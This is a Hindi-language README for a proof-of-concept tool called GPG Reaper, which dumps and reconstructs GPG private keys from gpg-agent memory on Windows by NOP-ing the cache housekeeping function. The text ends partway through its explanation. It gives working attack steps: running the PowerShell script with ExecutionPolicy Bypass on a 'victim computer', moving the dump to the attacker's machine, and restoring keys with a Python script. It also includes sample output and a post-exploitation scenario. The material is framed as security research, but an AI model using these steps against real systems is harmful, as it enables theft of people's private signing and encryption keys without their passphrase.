
GPG Reaper - gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुराएँ/पुनर्स्थापित करें
TL;DR: gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुरा/पुनर्स्थापित करें
यह POC विंडोज के तहत gpg-agent मेमोरी से GPG निजी कुंजियाँ प्राप्त करने की विधि प्रदर्शित करता है।
सामान्यतः यह केवल 10 मिनट की समय सीमा (--default-cache-ttl मान) के भीतर ही संभव होना चाहिए।
दुर्भाग्यवश housekeeping() फ़ंक्शन (जो कैश सफाई के लिए जिम्मेदार है) केवल तभी निष्पादित होता है जब आप GPG का उपयोग कर रहे हों (वहाँ कोई टाइमर नहीं है)।
इसका मतलब है कि सामान्य GPG उपयोगकर्ता परिदृश्य में जैसे: आप एक फ़ाइल पर हस्ताक्षर करते हैं फिर GUI बंद करते हैं और अन्य कार्य करते हैं आपका पासवर्ड अभी भी gpg-agent मेमोरी में है (भले ही ttl समाप्त हो गया हो)।
हमलावर, जिसके पास आपके वर्तमान सत्र तक पहुँच है, आपके पासफ़्रेज़ को जाने बिना निजी कुंजी चुराने के लिए इसका उपयोग कर सकता है।
सूचना: GPG संस्करण 2.2.6 में कैशिंग तंत्र बदल देगा। कमिट और मुद्दा देखें।

pip install PGPy
यदि आपको यह मिले:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` जब python स्क्रिप्ट चलाते हैं तो:
तो:
pip install six==1.10.0
1. Gpg4Win 3.0.3 स्थापित करें
2. कमांड लाइन खोलें और एजेंट को 2 सेकंड कैश समय के साथ प्रारंभ करें:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Kleopatra चलाएँ और एक नई कुंजी जोड़ी उत्पन्न करें

4. कुछ उदाहरण परीक्षण फ़ाइल पर हस्ताक्षर करें

5. Pinetry पॉपअप होगा और पासफ़्रेज़ माँगेगा

6. चरण 4-5 दोहराएँ। हर बार pinetry दिखाई देता है क्योंकि हमारा 2 सेकंड का कैश समाप्त हो गया है
7. GPG reaper चलाएँ
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
आप कुछ इस तरह देखेंगे:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
जैसा कि आप देख सकते हैं हम कुंजी डंप करते हैं। यह संभव है क्योंकि हमने housekeeping फ़ंक्शन को NOP कर दिया।
8. निजी कुंजी पुनर्स्थापित करें:
python gpg_reaper.py .\testme.txt
निजी कुंजी फ़ाइल में डंप हो जाती है:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-एजेंट एक डेमॉन है जो किसी भी प्रोटोकॉल से स्वतंत्र रूप से निजी कुंजियों का प्रबंधन करता है।
GUI इंटरफ़ेस Assuan प्रोटोकॉल का उपयोग करके एजेंट के साथ संचार करता है।
डिफ़ॉल्ट रूप से एजेंट आपकी साख को कैश करता है।
--default-cache-ttl n विकल्प कैश प्रविष्टि की वैधता के समय को n सेकंड पर सेट करता है।
डिफ़ॉल्ट 600 सेकंड है। हर बार जब कैश प्रविष्टि एक्सेस की जाती है, उसका टाइमर रीसेट हो जाता है।
विंडोज के तहत हस्ताक्षर प्रक्रिया इस तरह दिखती है:

यहाँ महत्वपूर्ण भाग housekeeping() फ़ंक्शन है जो मेमोरी से समाप्त साख को हटाने के लिए जिम्मेदार है।
लेकिन यहाँ एक समस्या है: यह फ़ंक्शन केवल दो स्थानों पर निष्पादित होता है (agent_put_cache और agent_get_cache के अंदर)।
इसका मतलब है कि कैश की गई साख मेमोरी से नहीं हटाई जाती है जब तक कि कुछ gpg-agent कमांड न चलाए जाएँ जो agent_put_cache या agent_get_cache या agent_flush_cache का उपयोग करते हैं।
पीड़ित कंप्यूटर पर:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
out.txt को अपनी मशीन पर स्थानांतरित करें और निजी कुंजियाँ पुनर्स्थापित करें:
gpg_reaper.py out.txt
निजी कुंजियाँ अलग-अलग फ़ाइलों में डंप की जाएँगी।
यदि GPG डिफ़ॉल्ट निर्देशिकाओं के बाहर स्थापित है:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
यदि आप डीबग संदेश नहीं चाहते हैं:
Gpg-Reaper -Verbose $false
मान लें कि आप पैनेट्रेशन टेस्टिंग कर रहे हैं और आपको GPG स्थापित वाले कंप्यूटर पर शेल प्राप्त होता है।
यदि आप भाग्यशाली हैं और उपयोगकर्ता ने हाल ही में GPG का उपयोग किया है और कैश समाप्त नहीं हुआ है, तो आप:
1. किसी फ़ाइल पर हस्ताक्षर करें:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. निजी कुंजी निर्यात करें:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
दुर्भाग्यवश यह अपेक्षित रूप से काम नहीं करता है और पासवर्ड माँगता है।
क्यों? क्योंकि cmd_export_key() फ़ंक्शन CACHE_MODE_IGNORE फ्लैग के साथ agent_key_from_file() को निष्पादित करता है जिसका अर्थ है कि कैश का उपयोग नहीं किया जाएगा और उपयोगकर्ता से हर बार पासफ़्रेज़ माँगा जाता है।
हम जानते हैं कि gpg-agent के माध्यम से GPG कुंजी निर्यात करना पासवर्ड जाने बिना संभव नहीं है।
लेकिन यहाँ एक छोटी सी विचित्रता है। एजेंट के पास कुछ विकल्प उपलब्ध हैं:
1. --debug-level
समस्याओं की जाँच के लिए डीबग स्तर चुनें। स्तर एक संख्यात्मक मान या कीवर्ड हो सकता है:
guru - सभी डीबग संदेश जो आप प्राप्त कर सकते हैं।